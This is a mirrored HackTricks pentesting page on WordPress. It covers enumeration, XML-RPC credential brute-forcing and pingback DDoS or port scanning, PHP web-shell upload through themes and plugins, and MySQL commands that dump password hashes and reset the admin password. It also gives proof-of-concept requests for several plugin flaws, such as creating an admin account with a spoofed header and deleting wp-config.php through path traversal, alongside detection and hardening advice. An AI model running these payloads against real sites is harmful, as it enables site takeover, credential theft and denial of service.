mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
870 lines
40 KiB
Markdown
870 lines
40 KiB
Markdown
# Wordpress
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Basic Information
|
||
|
||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||
- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
- In **wp-config.php** you can find the root password of the database.
|
||
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||
|
||
### **Main WordPress Files**
|
||
|
||
- `index.php`
|
||
- `license.txt` contains useful information such as the version WordPress installed.
|
||
- `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
|
||
- Login folders (may be renamed to hide it):
|
||
- `/wp-admin/login.php`
|
||
- `/wp-admin/wp-login.php`
|
||
- `/login.php`
|
||
- `/wp-login.php`
|
||
- `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||
- The `wp-content` folder is the main directory where plugins and themes are stored.
|
||
- `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored.
|
||
- `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
|
||
- `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.
|
||
|
||
**Post exploitation**
|
||
|
||
- The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.
|
||
|
||
### Users Permissions
|
||
|
||
- **Administrator**
|
||
- **Editor**: Publish and manages his and others posts
|
||
- **Author**: Publish and manage his own posts
|
||
- **Contributor**: Write and manage his posts but cannot publish them
|
||
- **Subscriber**: Browser posts and edit their profile
|
||
|
||
## **Passive Enumeration**
|
||
|
||
### **Get WordPress version**
|
||
|
||
Check if you can find the files `/license.txt` or `/readme.html`
|
||
|
||
Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||
|
||
- grep
|
||
|
||
```bash
|
||
curl https://victim.com/ | grep 'content="WordPress'
|
||
```
|
||
|
||
- `meta name`
|
||
|
||
.png>)
|
||
|
||
- CSS link files
|
||
|
||
.png>)
|
||
|
||
- JavaScript files
|
||
|
||
.png>)
|
||
|
||
### Get Plugins
|
||
|
||
```bash
|
||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
```
|
||
|
||
### Get Themes
|
||
|
||
```bash
|
||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
```
|
||
|
||
### Extract versions in general
|
||
|
||
```bash
|
||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
|
||
```
|
||
|
||
## Active enumeration
|
||
|
||
### Plugins and Themes
|
||
|
||
You probably won't be able to find all the Plugins and Themes passible. In order to discover all of them, you will need to **actively Brute Force a list of Plugins and Themes** (hopefully for us there are automated tools that contains this lists).
|
||
|
||
### Users
|
||
|
||
- **ID Brute:** You get valid users from a WordPress site by Brute Forcing users IDs:
|
||
|
||
```bash
|
||
curl -s -I -X GET http://blog.example.com/?author=1
|
||
```
|
||
|
||
If the responses are **200** or **30X**, that means that the id is **valid**. If the the response is **400**, then the id is **invalid**.
|
||
|
||
- **wp-json:** You can also try to get information about the users by querying:
|
||
|
||
```bash
|
||
curl http://blog.example.com/wp-json/wp/v2/users
|
||
```
|
||
|
||
Another `/wp-json/` endpoint that can reveal some information about users is:
|
||
|
||
```bash
|
||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||
```
|
||
|
||
Note that this endpoint only exposes users that have made a post. **Only information about the users that has this feature enable will be provided**.
|
||
|
||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||
|
||
- **Login username enumeration**: When login in **`/wp-login.php`** the **message** is **different** is the indicated **username exists or not**.
|
||
|
||
### XML-RPC
|
||
|
||
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||
|
||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||
|
||
**Check**
|
||
|
||
```html
|
||
<methodCall>
|
||
<methodName>system.listMethods</methodName>
|
||
<params></params>
|
||
</methodCall>
|
||
```
|
||
|
||

|
||
|
||
**Credentials Bruteforce**
|
||
|
||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:
|
||
|
||
```html
|
||
<methodCall>
|
||
<methodName>wp.getUsersBlogs</methodName>
|
||
<params>
|
||
<param><value>admin</value></param>
|
||
<param><value>pass</value></param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
|
||
The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid.
|
||
|
||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||
|
||
.png>)
|
||
|
||
Using the correct credentials you can upload a file. In the response the path will appears ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||
|
||
```html
|
||
<?xml version='1.0' encoding='utf-8'?>
|
||
<methodCall>
|
||
<methodName>wp.uploadFile</methodName>
|
||
<params>
|
||
<param><value><string>1</string></value></param>
|
||
<param><value><string>username</string></value></param>
|
||
<param><value><string>password</string></value></param>
|
||
<param>
|
||
<value>
|
||
<struct>
|
||
<member>
|
||
<name>name</name>
|
||
<value><string>filename.jpg</string></value>
|
||
</member>
|
||
<member>
|
||
<name>type</name>
|
||
<value><string>mime/type</string></value>
|
||
</member>
|
||
<member>
|
||
<name>bits</name>
|
||
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
|
||
</member>
|
||
</struct>
|
||
</value>
|
||
</param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
|
||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||
|
||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Bypass 2FA**
|
||
|
||
This method is meant for programs and not for humans, and old, therefore it doesn't support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, **you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA**. Note that you won't be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||
|
||
**DDoS or port scanning**
|
||
|
||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
|
||
|
||
```html
|
||
<methodCall>
|
||
<methodName>pingback.ping</methodName>
|
||
<params><param>
|
||
<value><string>http://<YOUR SERVER >:<port></string></value>
|
||
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
|
||
</value></param></params>
|
||
</methodCall>
|
||
```
|
||
|
||

|
||
|
||
If you get **faultCode** with a value **greater** then **0** (17), it means the port is open.
|
||
|
||
Take a look to the use of **`system.multicall`** in the previous section to learn how to abuse this method to cause DDoS.
|
||
|
||
**DDoS**
|
||
|
||
```html
|
||
<methodCall>
|
||
<methodName>pingback.ping</methodName>
|
||
<params>
|
||
<param><value><string>http://target/</string></value></param>
|
||
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
|
||
.png>)
|
||
|
||
### wp-cron.php DoS
|
||
|
||
This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\
|
||
When this file is **accessed** a "**heavy**" MySQL **query** is performed, so I could be used by **attackers** to **cause** a **DoS**.\
|
||
Also, by default, the `wp-cron.php` is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS).
|
||
|
||
It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).
|
||
|
||
### /wp-json/oembed/1.0/proxy - SSRF
|
||
|
||
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
|
||
|
||
This is the response when it doesn't work:
|
||
|
||
.png>)
|
||
|
||
## SSRF
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||
{{#endref}}
|
||
|
||
This tool checks if the **methodName: pingback.ping** and for the path **/wp-json/oembed/1.0/proxy** and if exists, it tries to exploit them.
|
||
|
||
## Automatic Tools
|
||
|
||
```bash
|
||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||
```
|
||
|
||
## Get access by overwriting a bit
|
||
|
||
More than a real attack this is a curiosity. IN the CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) you could flip 1 bit from any wordpress file. So you could flip the position `5389` of the file `/var/www/html/wp-includes/user.php` to NOP the NOT (`!`) operation.
|
||
|
||
```php
|
||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||
return new WP_Error(
|
||
```
|
||
|
||
## **Panel RCE**
|
||
|
||
**Modifying a php from the theme used (admin credentials needed)**
|
||
|
||
Appearance → Theme Editor → 404 Template (at the right)
|
||
|
||
Change the content for a php shell:
|
||
|
||
.png>)
|
||
|
||
Search in internet how can you access that updated page. In this case you have to access here: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
### MSF
|
||
|
||
You can use:
|
||
|
||
```bash
|
||
use exploit/unix/webapp/wp_admin_shell_upload
|
||
```
|
||
|
||
to get a session.
|
||
|
||
## Plugin RCE
|
||
|
||
### PHP plugin
|
||
|
||
It may be possible to upload .php files as a plugin.\
|
||
Create your php backdoor using for example:
|
||
|
||
.png>)
|
||
|
||
Then add a new plugin:
|
||
|
||
.png>)
|
||
|
||
Upload plugin and press Install Now:
|
||
|
||
.png>)
|
||
|
||
Click on Procced:
|
||
|
||
.png>)
|
||
|
||
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
|
||
|
||
.png>)
|
||
|
||
Access it and you will see the URL to execute the reverse shell:
|
||
|
||
.png>)
|
||
|
||
### Uploading and activating malicious plugin
|
||
|
||
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
|
||
|
||
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
|
||
2. **Plugin Installation**:
|
||
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
|
||
- Upload the zip file of the downloaded plugin.
|
||
3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
|
||
4. **Exploitation**:
|
||
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
|
||
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
|
||
- It's noted that this is just one of the many methods to exploit a WordPress site.
|
||
|
||
The content includes visual aids depicting the steps in the WordPress dashboard for installing and activating the plugin. However, it's important to note that exploiting vulnerabilities in this manner is illegal and unethical without proper authorization. This information should be used responsibly and only in a legal context, such as penetration testing with explicit permission.
|
||
|
||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||
|
||
## From XSS to RCE
|
||
|
||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||
- _**Privilege Escalation:**_ Creates an user in WordPress.
|
||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
|
||
- _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
|
||
- _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
|
||
- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
|
||
|
||
## Post Exploitation
|
||
|
||
Extract usernames and passwords:
|
||
|
||
```bash
|
||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||
```
|
||
|
||
Change admin password:
|
||
|
||
```bash
|
||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||
```
|
||
|
||
## Wordpress Plugins Pentest
|
||
|
||
### Attack Surface
|
||
|
||
Knowing how a Wordpress plugin can expose functionality is key in order to find vulnerabilities on its functionality. You can find how a plugin might expose functionality in the following bullet points and some example of vulnerable plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||
|
||
- **`wp_ajax`**
|
||
|
||
One of the ways a plugin can expose functions to uses if via AJAX handlers. These ones could contain logic, authorization, or authentication bugs. Moreover, it's kind of frquelty that these functions are going to base both the authentication and authorization in the existence of a wordpress nonce which **any user authenticated in the Wordpress instance might have** (independently of its role).
|
||
|
||
These are the functions that can be used to expose a function in a plugin:
|
||
|
||
```php
|
||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||
```
|
||
|
||
**The use of `nopriv` makes the endpoint accessible by any users (even unathenticated ones).**
|
||
|
||
> [!CAUTION]
|
||
> Moreover, if the function is just checking the authorization of the user with the function `wp_verify_nonce`, this function is just checking the user is loggedin, it isn't usually checking the role of the user. So low privileged users might have access to high privileged actions.
|
||
|
||
- **REST API**
|
||
|
||
It's also possible to expose functions from wordpress registering a rest AP using the `register_rest_route` function:
|
||
|
||
```php
|
||
register_rest_route(
|
||
$this->namespace, '/get/', array(
|
||
'methods' => WP_REST_Server::READABLE,
|
||
'callback' => array($this, 'getData'),
|
||
'permission_callback' => '__return_true'
|
||
)
|
||
);
|
||
```
|
||
|
||
The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method.
|
||
|
||
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
|
||
|
||
- **Direct access to the php file**
|
||
|
||
Of course, Wordpress uses PHP and files inside plugins are directly accessible from the web. So, in case a plugin is exposing any vulnerable functionality that is triggered just accessing the file, it's going to be exploitable by any user.
|
||
|
||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||
|
||
Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
|
||
|
||
- Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
|
||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
|
||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||
|
||
PoC
|
||
|
||
```http
|
||
POST /wp-json/wp/v2/users HTTP/1.1
|
||
Host: <WP HOST>
|
||
User-Agent: Mozilla/5.0
|
||
Accept: application/json
|
||
Content-Type: application/json
|
||
X-Wcpay-Platform-Checkout-User: 1
|
||
Content-Length: 114
|
||
|
||
```
|
||
|
||
Why it works
|
||
|
||
- The plugin maps a client-controlled header to authentication state and skips capability checks.
|
||
- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
|
||
|
||
Expected success indicators
|
||
|
||
- HTTP 201 with a JSON body describing the created user.
|
||
- A new admin user visible in `wp-admin/users.php`.
|
||
|
||
Detection checklist
|
||
|
||
- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||
- Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers.
|
||
- Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values.
|
||
|
||
Hardening
|
||
|
||
- Never derive authentication or authorization from client-controlled headers.
|
||
- If a reverse proxy must inject identity, terminate trust at the proxy and strip inbound copies (e.g., `unset X-Wcpay-Platform-Checkout-User` at the edge), then pass a signed token and verify it server-side.
|
||
- For REST routes performing privileged actions, require `current_user_can()` checks and a strict `permission_callback` (do NOT use `__return_true`).
|
||
- Prefer first-party auth (cookies, application passwords, OAuth) over header “impersonation”.
|
||
|
||
References: see the links at the end of this page for a public case and broader analysis.
|
||
|
||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||
|
||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||
|
||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||
3. **Strict input sanitisation / validation**.
|
||
|
||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||
|
||
```php
|
||
function litho_remove_font_family_action_data() {
|
||
if ( empty( $_POST['fontfamily'] ) ) {
|
||
return;
|
||
}
|
||
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
|
||
$upload_dir = wp_upload_dir();
|
||
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
|
||
$filesystem = Litho_filesystem::init_filesystem();
|
||
|
||
if ( file_exists( $srcdir ) ) {
|
||
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
|
||
}
|
||
die();
|
||
}
|
||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||
```
|
||
|
||
Issues introduced by this snippet:
|
||
|
||
* **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered.
|
||
* **No nonce / capability check** – any visitor can hit the endpoint.
|
||
* **No path sanitisation** – the user–controlled `fontfamily` string is concatenated to a filesystem path without filtering, allowing classic `../../` traversal.
|
||
|
||
#### Exploitation
|
||
|
||
An attacker can delete any file or directory **below the uploads base directory** (normally `<wp-root>/wp-content/uploads/`) by sending a single HTTP POST request:
|
||
|
||
```bash
|
||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||
-d 'action=litho_remove_font_family_action_data' \
|
||
-d 'fontfamily=../../../../wp-config.php'
|
||
```
|
||
|
||
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
|
||
|
||
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
|
||
|
||
#### Detection checklist
|
||
|
||
* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||
* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
|
||
* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.
|
||
|
||
#### Hardening
|
||
|
||
```php
|
||
function secure_remove_font_family() {
|
||
if ( ! is_user_logged_in() ) {
|
||
wp_send_json_error( 'forbidden', 403 );
|
||
}
|
||
check_ajax_referer( 'litho_fonts_nonce' );
|
||
|
||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||
|
||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||
wp_send_json_error( 'invalid path', 400 );
|
||
}
|
||
// … proceed …
|
||
}
|
||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||
// 🔒 NO wp_ajax_nopriv_ registration
|
||
```
|
||
|
||
> [!TIP]
|
||
> **Always** treat any write/delete operation on disk as privileged and double-check:
|
||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||
|
||
---
|
||
|
||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||
|
||
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
|
||
|
||
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`:
|
||
|
||
```php
|
||
// Simplified vulnerable pattern
|
||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
|
||
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
|
||
|
||
if ( in_array( $reset_for_username, $usernames, true ) ) {
|
||
$u = get_user_by( 'login', $reset_for_username );
|
||
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
|
||
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
|
||
foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||
}
|
||
}
|
||
```
|
||
|
||
Why it’s exploitable
|
||
|
||
- Trusts `$_REQUEST['reset-for']` and a plugin option without server-side authorization.
|
||
- If a user previously had higher privileges saved in `_asenha_view_admin_as_original_roles` and was downgraded, they can restore them by hitting the reset path.
|
||
- In some deployments, any authenticated user could trigger a reset for another username still present in `viewing_admin_as_role_are` (broken authorization).
|
||
|
||
Attack prerequisites
|
||
|
||
- Vulnerable plugin version with the feature enabled.
|
||
- Target account has a stale high-privilege role stored in user meta from earlier use.
|
||
- Any authenticated session; missing nonce/capability on the reset flow.
|
||
|
||
Exploitation (example)
|
||
|
||
```bash
|
||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
|
||
curl -s -k -b 'wordpress_logged_in=...' \
|
||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||
```
|
||
|
||
On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges.
|
||
|
||
Detection checklist
|
||
|
||
- Look for role-switching features that persist “original roles” in user meta (e.g., `_asenha_view_admin_as_original_roles`).
|
||
- Identify reset/restore paths that:
|
||
- Read usernames from `$_REQUEST` / `$_GET` / `$_POST`.
|
||
- Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`.
|
||
- Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actor’s capabilities.
|
||
|
||
Hardening
|
||
|
||
- Enforce capability checks on every state-changing branch (e.g., `current_user_can('manage_options')` or stricter).
|
||
- Require nonces for all role/permission mutations and verify them: `check_admin_referer()` / `wp_verify_nonce()`.
|
||
- Never trust request-supplied usernames; resolve the target user server-side based on the authenticated actor and explicit policy.
|
||
- Invalidate “original roles” state on profile/role updates to avoid stale high-privilege restoration:
|
||
|
||
```php
|
||
add_action( 'profile_update', function( $user_id ) {
|
||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||
}, 10, 1 );
|
||
```
|
||
|
||
- Consider storing minimal state and using time-limited, capability-guarded tokens for temporary role switches.
|
||
|
||
---
|
||
|
||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||
|
||
Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
|
||
|
||
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
|
||
|
||
```php
|
||
function service_finder_submit_user_form(){
|
||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
|
||
service_finder_switch_user($user_id);
|
||
}
|
||
if ( isset($_GET['switch_back']) ) {
|
||
service_finder_switch_back();
|
||
}
|
||
}
|
||
add_action('init', 'service_finder_submit_user_form');
|
||
|
||
function service_finder_switch_back() {
|
||
if ( isset($_COOKIE['original_user_id']) ) {
|
||
$uid = intval($_COOKIE['original_user_id']);
|
||
if ( get_userdata($uid) ) {
|
||
wp_set_current_user($uid);
|
||
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
|
||
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
|
||
setcookie('original_user_id', '', time() - 3600, '/');
|
||
wp_redirect( admin_url('admin.php?page=candidates') );
|
||
exit;
|
||
}
|
||
wp_die('Original user not found.');
|
||
}
|
||
wp_die('No original user found to switch back to.');
|
||
}
|
||
```
|
||
|
||
Why it’s exploitable
|
||
|
||
- Public `init` hook makes the handler reachable by unauthenticated users (no `is_user_logged_in()` guard).
|
||
- Identity is derived from a client-modifiable cookie (`original_user_id`).
|
||
- Direct call to `wp_set_auth_cookie($uid)` logs the requester in as that user without any capability/nonce checks.
|
||
|
||
Exploitation (unauthenticated)
|
||
|
||
```http
|
||
GET /?switch_back=1 HTTP/1.1
|
||
Host: victim.example
|
||
Cookie: original_user_id=1
|
||
User-Agent: PoC
|
||
Connection: close
|
||
```
|
||
|
||
---
|
||
|
||
### WAF considerations for WordPress/plugin CVEs
|
||
|
||
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
|
||
|
||
Offensive notes
|
||
|
||
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
|
||
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||
|
||
Defensive notes
|
||
|
||
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
|
||
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
|
||
|
||
## WordPress Protection
|
||
|
||
### Regular Updates
|
||
|
||
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
|
||
|
||
```bash
|
||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||
add_filter( 'auto_update_plugin', '__return_true' );
|
||
add_filter( 'auto_update_theme', '__return_true' );
|
||
```
|
||
|
||
Also, **only install trustable WordPress plugins and themes**.
|
||
|
||
### Security Plugins
|
||
|
||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||
|
||
